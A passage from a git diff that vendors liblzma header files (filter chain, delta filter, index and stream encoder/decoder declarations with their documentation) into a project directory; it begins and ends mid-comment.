uncompressed data. + * \param allocator lzma_allocator for custom allocator functions. + * Set to NULL to use malloc() and free(). + * \param in Beginning of the input buffer + * \param in_size Size of the input buffer + * \param out Beginning of the output buffer + * \param out_pos The next byte will be written to out[*out_pos]. + * *out_pos is updated only if encoding succeeds. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + * + * \return - LZMA_OK: Encoding was successful. + * - LZMA_BUF_ERROR: Not enough output buffer space. + * - LZMA_OPTIONS_ERROR + * - LZMA_MEM_ERROR + * - LZMA_DATA_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_easy_buffer_encode( + uint32_t preset, lzma_check check, + lzma_allocator *allocator, const uint8_t *in, size_t in_size, + uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow; + + +/** + * \brief Initialize .xz Stream encoder using a custom filter chain + * + * \param strm Pointer to properly prepared lzma_stream + * \param filters Array of filters. This must be terminated with + * filters[n].id = LZMA_VLI_UNKNOWN. See filter.h for + * more information. + * \param check Type of the integrity check to calculate from + * uncompressed data. + * + * \return - LZMA_OK: Initialization was successful. + * - LZMA_MEM_ERROR + * - LZMA_OPTIONS_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_stream_encoder(lzma_stream *strm, + const lzma_filter *filters, lzma_check check) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Initialize .lzma encoder (legacy file format) + * + * The .lzma format is sometimes called the LZMA_Alone format, which is the + * reason for the name of this function. The .lzma format supports only the + * LZMA1 filter. There is no support for integrity checks like CRC32. + * + * Use this function if and only if you need to create files readable by + * legacy LZMA tools such as LZMA Utils 4.32.x. Moving to the .xz format + * is strongly recommended. + * + * The valid action values for lzma_code() are LZMA_RUN and LZMA_FINISH. + * No kind of flushing is supported, because the file format doesn't make + * it possible. + * + * \return - LZMA_OK + * - LZMA_MEM_ERROR + * - LZMA_OPTIONS_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_alone_encoder( + lzma_stream *strm, const lzma_options_lzma *options) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Calculate output buffer size for single-call Stream encoder + * + * When trying to compress uncompressible data, the encoded size will be + * slightly bigger than the input data. This function calculates how much + * output buffer space is required to be sure that lzma_stream_buffer_encode() + * doesn't return LZMA_BUF_ERROR. + * + * The calculated value is not exact, but it is guaranteed to be big enough. + * The actual maximum output space required may be slightly smaller (up to + * about 100 bytes). This should not be a problem in practice. + * + * If the calculated maximum size doesn't fit into size_t or would make the + * Stream grow past LZMA_VLI_MAX (which should never happen in practice), + * zero is returned to indicate the error. + * + * \note The limit calculated by this function applies only to + * single-call encoding. Multi-call encoding may (and probably + * will) have larger maximum expansion when encoding + * uncompressible data. Currently there is no function to + * calculate the maximum expansion of multi-call encoding. + */ +extern LZMA_API(size_t) lzma_stream_buffer_bound(size_t uncompressed_size) + lzma_nothrow; + + +/** + * \brief Single-call .xz Stream encoder + * + * \param filters Array of filters. This must be terminated with + * filters[n].id = LZMA_VLI_UNKNOWN. See filter.h + * for more information. + * \param check Type of the integrity check to calculate from + * uncompressed data. + * \param allocator lzma_allocator for custom allocator functions. + * Set to NULL to use malloc() and free(). + * \param in Beginning of the input buffer + * \param in_size Size of the input buffer + * \param out Beginning of the output buffer + * \param out_pos The next byte will be written to out[*out_pos]. + * *out_pos is updated only if encoding succeeds. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + * + * \return - LZMA_OK: Encoding was successful. + * - LZMA_BUF_ERROR: Not enough output buffer space. + * - LZMA_OPTIONS_ERROR + * - LZMA_MEM_ERROR + * - LZMA_DATA_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_stream_buffer_encode( + lzma_filter *filters, lzma_check check, + lzma_allocator *allocator, const uint8_t *in, size_t in_size, + uint8_t *out, size_t *out_pos, size_t out_size) + lzma_nothrow lzma_attr_warn_unused_result; + + +/************ + * Decoding * + ************/ + +/** + * This flag makes lzma_code() return LZMA_NO_CHECK if the input stream + * being decoded has no integrity check. Note that when used with + * lzma_auto_decoder(), all .lzma files will trigger LZMA_NO_CHECK + * if LZMA_TELL_NO_CHECK is used. + */ +#define LZMA_TELL_NO_CHECK UINT32_C(0x01) + + +/** + * This flag makes lzma_code() return LZMA_UNSUPPORTED_CHECK if the input + * stream has an integrity check, but the type of the integrity check is not + * supported by this liblzma version or build. Such files can still be + * decoded, but the integrity check cannot be verified. + */ +#define LZMA_TELL_UNSUPPORTED_CHECK UINT32_C(0x02) + + +/** + * This flag makes lzma_code() return LZMA_GET_CHECK as soon as the type + * of the integrity check is known. The type can then be got with + * lzma_get_check(). + */ +#define LZMA_TELL_ANY_CHECK UINT32_C(0x04) + + +/** + * This flag enables decoding of concatenated files with file formats that + * allow concatenating compressed files as is. From the formats currently + * supported by liblzma, only the .xz format allows concatenated files. + * Concatenated files are not allowed with the legacy .lzma format. + * + * This flag also affects the usage of the `action' argument for lzma_code(). + * When LZMA_CONCATENATED is used, lzma_code() won't return LZMA_STREAM_END + * unless LZMA_FINISH is used as `action'. Thus, the application has to set + * LZMA_FINISH in the same way as it does when encoding. + * + * If LZMA_CONCATENATED is not used, the decoders still accept LZMA_FINISH + * as `action' for lzma_code(), but the usage of LZMA_FINISH isn't required. + */ +#define LZMA_CONCATENATED UINT32_C(0x08) + + +/** + * \brief Initialize .xz Stream decoder + * + * \param strm Pointer to properly prepared lzma_stream + * \param memlimit Rough memory usage limit as bytes + * \param flags Bitwise-or of zero or more of the decoder flags: + * LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK, + * LZMA_TELL_ANY_CHECK, LZMA_CONCATENATED + * + * \return - LZMA_OK: Initialization was successful. + * - LZMA_MEM_ERROR: Cannot allocate memory. + * - LZMA_OPTIONS_ERROR: Unsupported flags + */ +extern LZMA_API(lzma_ret) lzma_stream_decoder( + lzma_stream *strm, uint64_t memlimit, uint32_t flags) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Decode .xz Streams and .lzma files with autodetection + * + * This decoder autodetects between the .xz and .lzma file formats, and + * calls lzma_stream_decoder() or lzma_alone_decoder() once the type + * of the input file has been detected. + * + * \param strm Pointer to properly prepared lzma_stream + * \param memlimit Rough memory usage limit as bytes + * \param flags Bitwise-or of flags, or zero for no flags. + * + * \return - LZMA_OK: Initialization was successful. + * - LZMA_MEM_ERROR: Cannot allocate memory. + * - LZMA_OPTIONS_ERROR: Unsupported flags + */ +extern LZMA_API(lzma_ret) lzma_auto_decoder( + lzma_stream *strm, uint64_t memlimit, uint32_t flags) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Initialize .lzma decoder (legacy file format) + * + * Valid `action' arguments to lzma_code() are LZMA_RUN and LZMA_FINISH. + * There is no need to use LZMA_FINISH, but allowing it may simplify + * certain types of applications. + * + * \return - LZMA_OK + * - LZMA_MEM_ERROR + */ +extern LZMA_API(lzma_ret) lzma_alone_decoder( + lzma_stream *strm, uint64_t memlimit) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Single-call .xz Stream decoder + * + * \param memlimit Pointer to how much memory the decoder is allowed + * to allocate. The value pointed by this pointer is + * modified if and only if LZMA_MEMLIMIT_ERROR is + * returned. + * \param flags Bitwise-or of zero or more of the decoder flags: + * LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK, + * LZMA_CONCATENATED. Note that LZMA_TELL_ANY_CHECK + * is not allowed and will return LZMA_PROG_ERROR. + * \param allocator lzma_allocator for custom allocator functions. + * Set to NULL to use malloc() and free(). + * \param in Beginning of the input buffer + * \param in_pos The next byte will be read from in[*in_pos]. + * *in_pos is updated only if decoding succeeds. + * \param in_size Size of the input buffer; the first byte that + * won't be read is in[in_size]. + * \param out Beginning of the output buffer + * \param out_pos The next byte will be written to out[*out_pos]. + * *out_pos is updated only if encoding succeeds. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + * + * \return - LZMA_OK: Decoding was successful. + * - LZMA_FORMAT_ERROR + * - LZMA_OPTIONS_ERROR + * - LZMA_DATA_ERROR + * - LZMA_NO_CHECK: This can be returned only if using + * the LZMA_TELL_NO_CHECK flag. + * - LZMA_UNSUPPORTED_CHECK: This can be returned only if using + * the LZMA_TELL_UNSUPPORTED_CHECK flag. + * - LZMA_MEM_ERROR + * - LZMA_MEMLIMIT_ERROR: Memory usage limit was reached. + * The minimum required memlimit value was stored to *memlimit. + * - LZMA_BUF_ERROR: Output buffer was too small. + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_stream_buffer_decode( + uint64_t *memlimit, uint32_t flags, lzma_allocator *allocator, + const uint8_t *in, size_t *in_pos, size_t in_size, + uint8_t *out, size_t *out_pos, size_t out_size) + lzma_nothrow lzma_attr_warn_unused_result; diff --git a/igor/xz/lzma/delta.h b/igor/xz/lzma/delta.h new file mode 100644 index 0000000..592fc4f --- /dev/null +++ b/igor/xz/lzma/delta.h @@ -0,0 +1,77 @@ +/** + * \file lzma/delta.h + * \brief Delta filter + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Filter ID + * + * Filter ID of the Delta filter. This is used as lzma_filter.id. + */ +#define LZMA_FILTER_DELTA LZMA_VLI_C(0x03) + + +/** + * \brief Type of the delta calculation + * + * Currently only byte-wise delta is supported. Other possible types could + * be, for example, delta of 16/32/64-bit little/big endian integers, but + * these are not currently planned since byte-wise delta is almost as good. + */ +typedef enum { + LZMA_DELTA_TYPE_BYTE +} lzma_delta_type; + + +/** + * \brief Options for the Delta filter + * + * These options are needed by both encoder and decoder. + */ +typedef struct { + /** For now, this must always be LZMA_DELTA_TYPE_BYTE. */ + lzma_delta_type type; + + /** + * \brief Delta distance + * + * With the only currently supported type, LZMA_DELTA_TYPE_BYTE, + * the distance is as bytes. + * + * Examples: + * - 16-bit stereo audio: distance = 4 bytes + * - 24-bit RGB image data: distance = 3 bytes + */ + uint32_t dist; +# define LZMA_DELTA_DIST_MIN 1 +# define LZMA_DELTA_DIST_MAX 256 + + /* + * Reserved space to allow possible future extensions without + * breaking the ABI. You should not touch these, because the names + * of these variables may change. These are and will never be used + * when type is LZMA_DELTA_TYPE_BYTE, so it is safe to leave these + * uninitialized. + */ + uint32_t reserved_int1; + uint32_t reserved_int2; + uint32_t reserved_int3; + uint32_t reserved_int4; + void *reserved_ptr1; + void *reserved_ptr2; + +} lzma_options_delta; diff --git a/igor/xz/lzma/filter.h b/igor/xz/lzma/filter.h new file mode 100644 index 0000000..8d0db96 --- /dev/null +++ b/igor/xz/lzma/filter.h @@ -0,0 +1,360 @@ +/** + * \file lzma/filter.h + * \brief Common filter related types + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Maximum number of filters in a chain + * + * A filter chain can have 1-4 filters, of which three are allowed to change + * the size of the data. Usually only one or two filters are needed. + */ +#define LZMA_FILTERS_MAX 4 + + +/** + * \brief Filter options + * + * This structure is used to pass Filter ID and a pointer filter's + * options to liblzma. A few functions work with a single lzma_filter + * structure, while most functions expect a filter chain. + * + * A filter chain is indicated with an array of lzma_filter structures. + * The array is terminated with .id = LZMA_VLI_UNKNOWN. Thus, the filter + * array must have LZMA_FILTERS_MAX + 1 elements (that is, five) to + * be able to hold any arbitrary filter chain. This is important when + * using lzma_block_header_decode() from block.h, because too small + * array would make liblzma write past the end of the filters array. + */ +typedef struct { + /** + * \brief Filter ID + * + * Use constants whose name begin with `LZMA_FILTER_' to specify + * different filters. In an array of lzma_filter structures, use + * LZMA_VLI_UNKNOWN to indicate end of filters. + * + * \note This is not an enum, because on some systems enums + * cannot be 64-bit. + */ + lzma_vli id; + + /** + * \brief Pointer to filter-specific options structure + * + * If the filter doesn't need options, set this to NULL. If id is + * set to LZMA_VLI_UNKNOWN, options is ignored, and thus + * doesn't need be initialized. + * + * Some filters support changing the options in the middle of + * the encoding process. These filters store the pointer of the + * options structure and communicate with the application via + * modifications of the options structure. + */ + void *options; + +} lzma_filter; + + +/** + * \brief Test if the given Filter ID is supported for encoding + * + * Return true if the give Filter ID is supported for encoding by this + * liblzma build. Otherwise false is returned. + * + * There is no way to list which filters are available in this particular + * liblzma version and build. It would be useless, because the application + * couldn't know what kind of options the filter would need. + */ +extern LZMA_API(lzma_bool) lzma_filter_encoder_is_supported(lzma_vli id) + lzma_nothrow lzma_attr_const; + + +/** + * \brief Test if the given Filter ID is supported for decoding + * + * Return true if the give Filter ID is supported for decoding by this + * liblzma build. Otherwise false is returned. + */ +extern LZMA_API(lzma_bool) lzma_filter_decoder_is_supported(lzma_vli id) + lzma_nothrow lzma_attr_const; + + +/** + * \brief Calculate rough memory requirements for raw encoder + * + * Because the calculation is rough, this function can be used to calculate + * the memory requirements for Block and Stream encoders too. + * + * \param filters Array of filters terminated with + * .id == LZMA_VLI_UNKNOWN. + * + * \return Rough number of bytes of memory required for the given + * filter chain when encoding. + */ +extern LZMA_API(uint64_t) lzma_raw_encoder_memusage(const lzma_filter *filters) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Calculate rough memory requirements for raw decoder + * + * Because the calculation is rough, this function can be used to calculate + * the memory requirements for Block and Stream decoders too. + * + * \param filters Array of filters terminated with + * .id == LZMA_VLI_UNKNOWN. + * + * \return Rough number of bytes of memory required for the given + * filter chain when decoding. + */ +extern LZMA_API(uint64_t) lzma_raw_decoder_memusage(const lzma_filter *filters) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Initialize raw encoder + * + * This function may be useful when implementing custom file formats. + * + * \param strm Pointer to properly prepared lzma_stream + * \param filters Array of lzma_filter structures. The end of the + * array must be marked with .id = LZMA_VLI_UNKNOWN. + * + * The `action' with lzma_code() can be LZMA_RUN, LZMA_SYNC_FLUSH (if the + * filter chain supports it), or LZMA_FINISH. + * + * \return - LZMA_OK + * - LZMA_MEM_ERROR + * - LZMA_OPTIONS_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_raw_encoder( + lzma_stream *strm, const lzma_filter *filters) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Initialize raw decoder + * + * The initialization of raw decoder goes similarly to raw encoder. + * + * The `action' with lzma_code() can be LZMA_RUN or LZMA_FINISH. Using + * LZMA_FINISH is not required, it is supported just for convenience. + * + * \return - LZMA_OK + * - LZMA_MEM_ERROR + * - LZMA_OPTIONS_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_raw_decoder( + lzma_stream *strm, const lzma_filter *filters) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Single-call raw encoder + * + * \param filters Array of lzma_filter structures. The end of the + * array must be marked with .id = LZMA_VLI_UNKNOWN. + * \param allocator lzma_allocator for custom allocator functions. + * Set to NULL to use malloc() and free(). + * \param in Beginning of the input buffer + * \param in_size Size of the input buffer + * \param out Beginning of the output buffer + * \param out_pos The next byte will be written to out[*out_pos]. + * *out_pos is updated only if encoding succeeds. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + * + * \return - LZMA_OK: Encoding was successful. + * - LZMA_BUF_ERROR: Not enough output buffer space. + * - LZMA_OPTIONS_ERROR + * - LZMA_MEM_ERROR + * - LZMA_DATA_ERROR + * - LZMA_PROG_ERROR + * + * \note There is no function to calculate how big output buffer + * would surely be big enough. (lzma_stream_buffer_bound() + * works only for lzma_stream_buffer_encode().) + */ +extern LZMA_API(lzma_ret) lzma_raw_buffer_encode( + const lzma_filter *filters, lzma_allocator *allocator, + const uint8_t *in, size_t in_size, uint8_t *out, + size_t *out_pos, size_t out_size) lzma_nothrow; + + +/** + * \brief Single-call raw decoder + * + * \param filters Array of lzma_filter structures. The end of the + * array must be marked with .id = LZMA_VLI_UNKNOWN. + * \param allocator lzma_allocator for custom allocator functions. + * Set to NULL to use malloc() and free(). + * \param in Beginning of the input buffer + * \param in_pos The next byte will be read from in[*in_pos]. + * *in_pos is updated only if decoding succeeds. + * \param in_size Size of the input buffer; the first byte that + * won't be read is in[in_size]. + * \param out Beginning of the output buffer + * \param out_pos The next byte will be written to out[*out_pos]. + * *out_pos is updated only if encoding succeeds. + * \param out_size Size of the out buffer; the first byte into + * which no data is written to is out[out_size]. + */ +extern LZMA_API(lzma_ret) lzma_raw_buffer_decode( + const lzma_filter *filters, lzma_allocator *allocator, + const uint8_t *in, size_t *in_pos, size_t in_size, + uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow; + + +/** + * \brief Get the size of the Filter Properties field + * + * This function may be useful when implementing custom file formats + * using the raw encoder and decoder. + * + * \param size Pointer to uint32_t to hold the size of the properties + * \param filter Filter ID and options (the size of the propeties may + * vary depending on the options) + * + * \return - LZMA_OK + * - LZMA_OPTIONS_ERROR + * - LZMA_PROG_ERROR + * + * \note This function validates the Filter ID, but does not + * necessarily validate the options. Thus, it is possible + * that this returns LZMA_OK while the following call to + * lzma_properties_encode() returns LZMA_OPTIONS_ERROR. + */ +extern LZMA_API(lzma_ret) lzma_properties_size( + uint32_t *size, const lzma_filter *filter) lzma_nothrow; + + +/** + * \brief Encode the Filter Properties field + * + * \param filter Filter ID and options + * \param props Buffer to hold the encoded options. The size of + * buffer must have been already determined with + * lzma_properties_size(). + * + * \return - LZMA_OK + * - LZMA_OPTIONS_ERROR + * - LZMA_PROG_ERROR + * + * \note Even this function won't validate more options than actually + * necessary. Thus, it is possible that encoding the properties + * succeeds but using the same options to initialize the encoder + * will fail. + * + * \note It is OK to skip calling this function if + * lzma_properties_size() indicated that the size + * of the Filter Properties field is zero. + */ +extern LZMA_API(lzma_ret) lzma_properties_encode( + const lzma_filter *filter, uint8_t *props) lzma_nothrow; + + +/** + * \brief Decode the Filter Properties field + * + * \param filter filter->id must have been set to the correct + * Filter ID. filter->options doesn't need to be + * initialized (it's not freed by this function). The + * decoded options will be stored to filter->options. + * filter->options is set to NULL if there are no + * properties or if an error occurs. + * \param allocator Custom memory allocator used to allocate the + * options. Set to NULL to use the default malloc(), + * and in case of an error, also free(). + * \param props Input buffer containing the properties. + * \param props_size Size of the properties. This must be the exact + * size; giving too much or too little input will + * return LZMA_OPTIONS_ERROR. + * + * \return - LZMA_OK + * - LZMA_OPTIONS_ERROR + * - LZMA_MEM_ERROR + */ +extern LZMA_API(lzma_ret) lzma_properties_decode( + lzma_filter *filter, lzma_allocator *allocator, + const uint8_t *props, size_t props_size) lzma_nothrow; + + +/** + * \brief Calculate encoded size of a Filter Flags field + * + * Knowing the size of Filter Flags is useful to know when allocating + * memory to hold the encoded Filter Flags. + * + * \param size Pointer to integer to hold the calculated size + * \param filters Filter ID and associated options whose encoded + * size is to be calculted + * + * \return - LZMA_OK: *size set successfully. Note that this doesn't + * guarantee that filters->options is valid, thus + * lzma_filter_flags_encode() may still fail. + * - LZMA_OPTIONS_ERROR: Unknown Filter ID or unsupported options. + * - LZMA_PROG_ERROR: Invalid options + * + * \note If you need to calculate size of List of Filter Flags, + * you need to loop over every lzma_filter entry. + */ +extern LZMA_API(lzma_ret) lzma_filter_flags_size( + uint32_t *size, const lzma_filter *filters) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Encode Filter Flags into given buffer + * + * In contrast to some functions, this doesn't allocate the needed buffer. + * This is due to how this function is used internally by liblzma. + * + * \param filters Filter ID and options to be encoded + * \param out Beginning of the output buffer + * \param out_pos out[*out_pos] is the next write position. This + * is updated by the encoder. + * \param out_size out[out_size] is the first byte to not write. + * + * \return - LZMA_OK: Encoding was successful. + * - LZMA_OPTIONS_ERROR: Invalid or unsupported options. + * - LZMA_PROG_ERROR: Invalid options or not enough output + * buffer space (you should have checked it with + * lzma_filter_flags_size()). + */ +extern LZMA_API(lzma_ret) lzma_filter_flags_encode(const lzma_filter *filters, + uint8_t *out, size_t *out_pos, size_t out_size) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Decode Filter Flags from given buffer + * + * The decoded result is stored into *filters. filters->options is + * initialized but the old value is NOT free()d. + * + * \return - LZMA_OK + * - LZMA_OPTIONS_ERROR + * - LZMA_MEM_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_filter_flags_decode( + lzma_filter *filters, lzma_allocator *allocator, + const uint8_t *in, size_t *in_pos, size_t in_size) + lzma_nothrow lzma_attr_warn_unused_result; diff --git a/igor/xz/lzma/index.h b/igor/xz/lzma/index.h new file mode 100644 index 0000000..da9a622 --- /dev/null +++ b/igor/xz/lzma/index.h @@ -0,0 +1,403 @@ +/** + * \file lzma/index.h + * \brief Handling of .xz Index lists + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Opaque data type to hold the Index + */ +typedef struct lzma_index_s lzma_index; + + +/** + * \brief Index Record and its location + */ +typedef struct { + /** + * \brief Total encoded size of a Block including Block Padding + * + * This value is useful if you need to know the actual size of the + * Block that the Block decoder will read. + */ + lzma_vli total_size; + + /** + * \brief Encoded size of a Block excluding Block Padding + * + * This value is stored in the Index. When doing random-access + * reading, you should give this value to the Block decoder along + * with uncompressed_size. + */ + lzma_vli unpadded_size; + + /** + * \brief Uncompressed Size of a Block + */ + lzma_vli uncompressed_size; + + /** + * \brief Compressed offset in the Stream(s) + * + * This is the offset of the first byte of the Block, that is, + * where you need to seek to decode the Block. The offset + * is relative to the beginning of the Stream, or if there are + * multiple Indexes combined, relative to the beginning of the + * first Stream. + */ + lzma_vli stream_offset; + + /** + * \brief Uncompressed offset + * + * When doing random-access reading, it is possible that the target + * offset is not exactly at Block boundary. One will need to compare + * the target offset against uncompressed_offset, and possibly decode + * and throw away some amount of data before reaching the target + * offset. + */ + lzma_vli uncompressed_offset; + +} lzma_index_record; + + +/** + * \brief Calculate memory usage for Index with given number of Records + * + * On disk, the size of the Index field depends on both the number of Records + * stored and how big values the Records store (due to variable-length integer + * encoding). When the Index is kept in lzma_index structure, the memory usage + * depends only on the number of Records stored in the Index. The size in RAM + * is almost always a lot bigger than in encoded form on disk. + * + * This function calculates an approximate amount of memory needed hold the + * given number of Records in lzma_index structure. This value may vary + * between liblzma versions if the internal implementation is modified. + * + * If you want to know how much memory an existing lzma_index structure is + * using, use lzma_index_memusage(lzma_index_count(i)). + */ +extern LZMA_API(uint64_t) lzma_index_memusage(lzma_vli record_count) + lzma_nothrow; + + +/** + * \brief Allocate and initialize a new lzma_index structure + * + * If i is NULL, a new lzma_index structure is allocated, initialized, + * and a pointer to it returned. If allocation fails, NULL is returned. + * + * If i is non-NULL, it is reinitialized and the same pointer returned. + * In this case, return value cannot be NULL or a different pointer than + * the i that was given as an argument. + */ +extern LZMA_API(lzma_index *) lzma_index_init( + lzma_index *i, lzma_allocator *allocator) lzma_nothrow; + + +/** + * \brief Deallocate the Index + * + * If i is NULL, this does nothing. + */ +extern LZMA_API(void) lzma_index_end(lzma_index *i, lzma_allocator *allocator) + lzma_nothrow; + + +/** + * \brief Add a new Record to an Index + * + * \param i Pointer to a lzma_index structure + * \param allocator Pointer to lzma_allocator, or NULL to + * use malloc() + * \param unpadded_size Unpadded Size of a Block. This can be + * calculated with lzma_block_unpadded_size() + * after encoding or decoding the Block. + * \param uncompressed_size Uncompressed Size of a Block. This can be + * taken directly from lzma_block structure + * after encoding or decoding the Block. + * + * Appending a new Record does not affect the read position. + * + * \return - LZMA_OK + * - LZMA_MEM_ERROR + * - LZMA_DATA_ERROR: Compressed or uncompressed size of the + * Stream or size of the Index field would grow too big. + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_index_append( + lzma_index *i, lzma_allocator *allocator, + lzma_vli unpadded_size, lzma_vli uncompressed_size) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Get the number of Records + */ +extern LZMA_API(lzma_vli) lzma_index_count(const lzma_index *i) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Get the size of the Index field as bytes + * + * This is needed to verify the Backward Size field in the Stream Footer. + */ +extern LZMA_API(lzma_vli) lzma_index_size(const lzma_index *i) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Get the total size of the Blocks + * + * This doesn't include the Stream Header, Stream Footer, Stream Padding, + * or Index fields. + */ +extern LZMA_API(lzma_vli) lzma_index_total_size(const lzma_index *i) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Get the total size of the Stream + * + * If multiple Indexes have been combined, this works as if the Blocks + * were in a single Stream. + */ +extern LZMA_API(lzma_vli) lzma_index_stream_size(const lzma_index *i) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Get the total size of the file + * + * When no Indexes have been combined with lzma_index_cat(), this function is + * identical to lzma_index_stream_size(). If multiple Indexes have been + * combined, this includes also the headers of each separate Stream and the + * possible Stream Padding fields. + */ +extern LZMA_API(lzma_vli) lzma_index_file_size(const lzma_index *i) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Get the uncompressed size of the Stream + */ +extern LZMA_API(lzma_vli) lzma_index_uncompressed_size(const lzma_index *i) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Get the next Record from the Index + */ +extern LZMA_API(lzma_bool) lzma_index_read( + lzma_index *i, lzma_index_record *record) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Rewind the Index + * + * Rewind the Index so that next call to lzma_index_read() will return the + * first Record. + */ +extern LZMA_API(void) lzma_index_rewind(lzma_index *i) lzma_nothrow; + + +/** + * \brief Locate a Record + * + * When the Index is available, it is possible to do random-access reading + * with granularity of Block size. + * + * \param i Pointer to lzma_index structure + * \param record Pointer to a structure to hold the search results + * \param target Uncompressed target offset which the caller would + * like to locate from the Stream + * + * If the target is smaller than the uncompressed size of the Stream (can be + * checked with lzma_index_uncompressed_size()): + * - Information about the Record containing the requested uncompressed + * offset is stored into *record. + * - Read offset will be adjusted so that calling lzma_index_read() can be + * used to read subsequent Records. + * - This function returns false. + * + * If target is greater than the uncompressed size of the Stream, *record + * and the read position are not modified, and this function returns true. + */ +extern LZMA_API(lzma_bool) lzma_index_locate( + lzma_index *i, lzma_index_record *record, lzma_vli target) + lzma_nothrow; + + +/** + * \brief Concatenate Indexes of two Streams + * + * Concatenating Indexes is useful when doing random-access reading in + * multi-Stream .xz file, or when combining multiple Streams into single + * Stream. + * + * \param dest Destination Index after which src is appended + * \param src Source Index. If this function succeeds, the + * memory allocated for src is freed or moved to + * be part of dest. + * \param allocator Custom memory allocator; can be NULL to use + * malloc() and free(). + * \param padding Size of the Stream Padding field between Streams. + * This must be a multiple of four. + * + * \return - LZMA_OK: Indexes concatenated successfully. src is now + * a dangling pointer. + * - LZMA_DATA_ERROR: *dest would grow too big. + * - LZMA_MEM_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_index_cat(lzma_index *lzma_restrict dest, + lzma_index *lzma_restrict src, + lzma_allocator *allocator, lzma_vli padding) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Duplicate an Index list + * + * Makes an identical copy of the Index. Also the read position is copied. + * + * \return A copy of the Index, or NULL if memory allocation failed. + */ +extern LZMA_API(lzma_index *) lzma_index_dup( + const lzma_index *i, lzma_allocator *allocator) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Compare if two Index lists are identical + * + * Read positions are not compared. + * + * \return True if *a and *b are equal, false otherwise. + */ +extern LZMA_API(lzma_bool) lzma_index_equal( + const lzma_index *a, const lzma_index *b) + lzma_nothrow lzma_attr_pure; + + +/** + * \brief Initialize .xz Index encoder + * + * \param strm Pointer to properly prepared lzma_stream + * \param i Pointer to lzma_index which should be encoded. + * The read position will be at the end of the Index + * after lzma_code() has returned LZMA_STREAM_END. + * + * The only valid action value for lzma_code() is LZMA_RUN. + * + * \return - LZMA_OK: Initialization succeeded, continue with lzma_code(). + * - LZMA_MEM_ERROR + * - LZMA_PROG_ERROR + */ +extern LZMA_API(lzma_ret) lzma_index_encoder(lzma_stream *strm, lzma_index *i) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Initialize .xz Index decoder + * + * \param strm Pointer to properly prepared lzma_stream + * \param i Pointer to a pointer that will be made to point + * to the final decoded Index once lzma_code() has + * returned LZMA_STREAM_END. That is, + * lzma_index_decoder() always takes care of + * allocating a new lzma_index structure, and *i + * doesn't need to be initialized by the caller. + * \param memlimit How much memory the resulting Index is allowed + * to require. + * + * The only valid action value for lzma_code() is LZMA_RUN. + * + * \return - LZMA_OK: Initialization succeeded, continue with lzma_code(). + * - LZMA_MEM_ERROR + * - LZMA_MEMLIMIT_ERROR + * - LZMA_PROG_ERROR + * + * \note The memory usage limit is checked early in the decoding + * (within the first dozen input bytes or so). The actual memory + * is allocated later in smaller pieces. If the memory usage + * limit is modified with lzma_memlimit_set() after a part + * of the Index has already been decoded, the new limit may + * get ignored. + */ +extern LZMA_API(lzma_ret) lzma_index_decoder( + lzma_stream *strm, lzma_index **i, uint64_t memlimit) + lzma_nothrow lzma_attr_warn_unused_result; + + +/** + * \brief Single-call .xz Index encoder + * + * \param i Index to be encoded. The read position will be at + * the end of the Index if encoding succeeds, or at + * unspecified position in case an error occurs. + * \param out Beginning of the output buffer + * \param out_pos The next byte 